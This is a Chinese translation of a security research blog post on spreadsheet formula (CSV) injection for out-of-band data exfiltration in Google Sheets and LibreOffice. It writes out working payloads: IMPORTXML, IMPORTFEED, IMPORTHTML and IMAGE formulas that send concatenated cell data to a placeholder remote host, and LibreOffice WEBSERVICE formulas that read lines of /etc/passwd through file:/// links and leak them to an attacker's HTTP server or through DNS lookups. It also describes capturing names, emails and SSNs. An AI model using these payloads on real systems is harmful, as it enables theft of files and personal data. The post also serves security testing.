本文为2018年十大网络黑客技术题名文章,欢迎来读
最近,我们针对一些客户端应用进行了一些测试工作,在测试中我们使用了OOB方法从电子表格中提取数据。在本文中,我们介绍的方法可以令我们获取到电子表格中的内容,但是却无法令攻击者具有访问完整文档或客户端系统的权限。
我们简单地看了一下LibreOffice
以及Google
表格,并为读者提供了一些PoC。 我们对非Windows的应用程序更为关注,因为对于Windows应用程序来说研究的工作已经很多了。
在这篇博文中,我们概述了来自NotSoSecure
团队的Ajay(@ 9r4shar4j4y)和Balaji(@ iambalaji7)所进行的研究。 以下PoC可以允许我们使用简单的内置功能来获取敏感信息,甚至可以读取相应客户端系统上的文件内容。 我们不会在这里放出任何0 day,但希望本文可以提供一些新的攻击途径。
如果我们想要获取实时的数据内容,基于云的数据捕获方法可能是我们最好的选择。 与基于客户端的攻击不同,我们可以快速连续地在工作表中填充数据并进行实时响应。
攻击的具体情形可能会有很大差异,具体取决于用户可以使用的内容。 如果用户将CSV文件等创建并上传到目标,那么攻击者可以更容易进行攻击。这种类型的Google表格对我的下一步分析很有用处。
首先,让我们介绍一些有趣的功能。
CONCATENATE:追加字符串。
=CONCATENATE(A2:E2)
IMPORTXML:从各种结构化数据中导入数据,包括XML、HTML、CSV、TSV和RSS以及ATOM XML
。
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED:导入RSS或ATOM Feed。
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML:从HTML页面中的表或列表中导入数据。
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE:从指定的电子表格导入一系列单元格。
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
图像:将图像插入单元格。
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
根据Google的电子表格功能文档,上述功能可能成为数据泄露的主要因素。
场景1 [失败]:在这里包含了一些失败的PoC情况。 失败是我们分析过程的一部分,应该被认为是很好的学习材料。 如果不经历失败,成功永远不会那么甜蜜。
Google提供了创建表单和接收回复的功能,以后可以使用Google表格查看这些回复。 我们尝试在相应Google表单的评论部分提交恶意代码来利用此漏洞。 但是,Google会对提交的内容进行安全检查,并在公式之前自动添加(')撇号,从而停止公式的执行。
场景2 [成功]:Google表格还提供了其他的功能,允许我们从不同的文件中导入数据,如csv,tsv,xlsx等。这些导入的数据可以使用新的电子表格来展示,也可以附加到现有的表格中。 对于我们的PoC代码,我们将其附加到前一个工作表中,以便我们可以提取其他用户提交的数据。 说幸运的是,Google没有像在方案1中那样执行相同的检查。包括以下步骤。
1)我们创建了一个带有payload(公式)的恶意csv文件,它将连接A到D列的数据。 然后,我们使用这些信息为攻击者服务器生成带外请求。
2)然后,我们使用导入功能将csv文件导入Google表格,并将数据附加到现有工作表。
3)导入数据后,我们执行了payload,并在收听攻击服务器的HTTP服务器上收到用户的详细信息,如姓名,电子邮件和SSN数据。
希望这些内容能帮助用户实现攻击。之后,我们将继续进行套路,现在让我们研究LibreOffice
。
本节重点介绍如何在Linux环境中利用CSV进行注入。 虽然许多博客已经发布了与使用Excel开发DDE相关的PoC等,但在Linux环境中对办公应用程序的研究却很少。 这个现象是很正常的,因为Linux台式机的使用人数远不及Windows,所以攻击更面向大众人群,也就是最有利可图的终端。
在本文中,我们会强调一些可以在Linux目标上利用的简单公式攻击。 在本文中,我们使用以下环境进行测试。
payload已在下列环境中成功测试:
我们首先尝试使用本地访问并通过公式读取敏感文件。 LibreOffice
提供使用“文件”协议读取文件。 创建了一个从本地/etc/passwd
文件中检索的初始PoC,详情如下。
Payload 1:
分析一下payload:
file:///etc/passwd’#$passwd.A1
- 将从本地/etc/ passwd
文件中读取第1行*我们也可以使用http://
代替file:///
查询远程资源。
应该注意的是,在初始导入时会提示用户执行如下屏幕截图所示的操作(在此示例中显示/etc/group
的输出)。
导入完成后,用户只要重新打开文档,就会提示更新链接。
顺便提一下,通过改变行引用(这里为A2),我们可以从文件中读取更多内容。
我们需要一种方法来查看远程系统中的文件内容(我们没有在LibreOffice应用程序中查看这些结果的工具)
这需要我们研究WEBSERVICE
函数。 本质上,我们可以使用此函数连接到我们控制的远程系统,然后发送对/etc/passwd
文件提取数据的请求。
显然,攻击主机上不存在这些文件,但GET请求会帮助我们从攻击主机上的日志或控制台的输出文件进行访问。
继续这个理论,我们提出了下面PoC。
Payload 2:
=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)))
对一下payload进行分析:
file:///etc/passwd’#$passwd.A1
- 将从本地/etc/passwd
文件中读取第1行‘file:///etc/passwd’#$passwd.A1
)) - 连接文件的IP地址和输出信息</ip>我们的攻击系统运行了Python的SimpleHTTPServer
,因此当在受害者系统上打开恶意文件时,请求就会被我们的服务器接收。
同样,我们编写了几个payload来从目标文件中读取多行内容。 如果我们系统的空间足够,那么我们只需要确保最后一个引用(#$ passwd.A1)设置为每行递增。之后我们就可以通过在单个文档中嵌入多行来实现此任务。以下PoC将提取并发送目标文件/etc/passwd
中的前30行。
但是,更简洁的方法是在单个公式中引用多个行,如下所示。
执行以下payload时,/etc/passwd
文件中的2行将发送到攻击服务器。
Payload 3:
=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
分析以下payload:
'file:///etc/passwd’#$passwd.AX
- 将读取本地/etc/ passwd
文件中的第1行和第2行“http://<ip>:8080/
,(‘file:///etc/passwd’#$passwd.A1)&CHAR(36)&(‘file:///etc/passwd’#$passwd.A2
)) - 将攻击服务器IP地址与/etc/ passwd
行第1行和第2行(文件中的前2行)的输出连接起来,每个都用美元($)字符分隔查看攻击主机,我们可以在GET请求中看到来自/etc/passwd
的相应内容,在此实例中由$ character (CHAR 36)
进行分隔。
根据文件内容,我们可能会遇到长度问题https://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url-in-different-browsers。
我们在下一个PoC中解决了这两个问题。如果没有DNS示例,我们就无法完成OOB数据泄露工作。
Payload 4:
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<FQDN>"))
payload分析:
‘file:///etc/passwd’#$passwd.A19
- 将从本地/etc/passwd
文件中读取第19行
ENCODEURL(‘file:///etc/passwd’#$passwd.A19)
- URL对返回的数据进行编码
MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41)
- 与子字符串类似,从第1个字符到第41个字符读取数据 - 这是限制DNS长度的一种非常方便的方法(FQDN上限254个字符,标签上限63个字符,即子域)
SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)
- 替换所有%的实例(URL中的特殊字符) 使用短划线 - 这确保仅使用有效的DNS字符
CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”)
- 将文件的输出(在上述处理之后)与FQDN连接(我们可以访问对域中主机)
WEBSERVICE - 将请求此不存在的DNS名称,然后我们可以在我们控制的DNS服务器上解析日志(或运行tcpdump等)
发送完成后,我们可以通过配置为域的服务器上的tcpdump
查看FQDN
(包括/ etc/passwd第19行的编码数据)的查询,如下所示。
如果用户根据我们的文章进行测试或者修改upload/download/imports/exports
的CSV数据等的应用程序,那么肯定会看到成功的结果。
本文为翻译稿件,来自:https://www.notsosecure.com/data-exfiltration-formula-injection/